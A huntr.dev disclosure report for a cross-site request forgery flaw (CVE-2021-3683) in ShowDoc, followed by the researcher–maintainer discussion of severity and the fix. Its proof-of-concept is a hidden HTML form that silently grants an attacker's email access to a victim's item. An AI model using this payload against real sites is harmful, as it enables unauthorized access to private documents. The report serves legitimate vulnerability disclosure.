huntr

Cross-Site Request Forgery (CSRF) in star7th/showdoc

✓ Valid Reported on Aug 3rd 2021

0

✍️ Description

With CSRF vulnerability Attacker able to add any member to for any item if users visit attacker site.

🕵️ Proof of Concept

1.Open the PoC.html In Firefox or safari.
2.now you can check that member with email address `evil@mail.com` that already should registered befor have access to item with id `1531601670203340` .
// PoC.html

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.showdoc.com.cn/server/index.php?s=/api/member
      <input type="hidden" name="item&#95;id" value="1531601670203340" />
      <input type="hidden" name="username" value="evil&#64;mail&#46;com" />
      <input type="hidden" name="cat&#95;id" value="0" />
      <input type="hidden" name="member&#95;group&#95;id" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

💥 Impact

This vulnerability is capable of reveal any item.

Fix

Set SameSite attribute of cookies to `Lax` or `Strict` .

CVE
CVE-2021-3683
(Published)

Vulnerability Type
CWE-352: Cross-Site Request Forgery (CSRF)

Severity
Medium (5.4)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

amammad
@amammad
pro

Fixed by

star7th
@star7th
unranked

This report was seen 447 times.

amammad a year ago Researcher

Chat with us

@admin hey man how are doing now ? I hope be fine...

can you able to send message to maintainer ?

Jamie Slome a year ago Admin

We will get around to reaching out to the maintainer today! Cheers.

amammad a year ago Researcher

@admin
dear jamie you reached them before as two reports have been validated yesterday.

Z-Old a year ago Admin

Hey amammad, I've emailed the maintainers for you. Good job!

We have contacted a member of the **star7th/showdoc** team and are waiting to hear back
a year ago

A **star7th/showdoc** maintainer validated this vulnerability a year ago

amammad has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **star7th/showdoc** maintainer a year ago

I'll fix it later.

A **star7th/showdoc** maintainer a year ago

But I will only be on the official website https://www.showdoc.com.cn/ Repair. Open source showdoc https://github.com/star7th/showdoc It may not be repaired. Because the domain name of the open source showdoc is user-defined, it cannot be written in the code filtering rules. If the user is allowed to configure it by himself, the configuration complexity will be increased. I prefer that showdoc can be used out of the box.

Considering that the open source version of showdoc is mostly used for intra team collaboration, the impact of this problem is relatively small.

amammad a year ago Researcher

@admin
I think according to dear showdoc team talks we should change the impact from high to low.
thanks.

A **star7th/showdoc** maintainer a year ago

The official website https://www.showdoc.com.cn/ has been repaired. You can test it .

Jamie Slome a year ago Admin

@amammad - can you suggest a new CVSS score and vector string? I will update accordingly.

Furthermore, @maintainer, if you could confirm the commit SHA that fixes this vulnerability, that would be great!

amammad a year ago Researcher

@admin
the `Confidentiality` and `Integrity` should be low and availability` should be None. All other items can be remain as before.
new CVSS score can be 4.5 that is lowest score for any CSRF.

Jamie Slome a year ago Admin

@amammad - I have changed the vector items as requested, and this adjusts the score to 5.4?

Jamie Slome a year ago Admin

@maintainer - just a heads up that 28 days have passed since validation.

Are you happy for us to make this report live and for us to publish a CVE, or do you have a patch prepared for this?

Would you like to extend the embargo date?

star7th marked this as fixed with commit 67093c a year ago

star7th has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team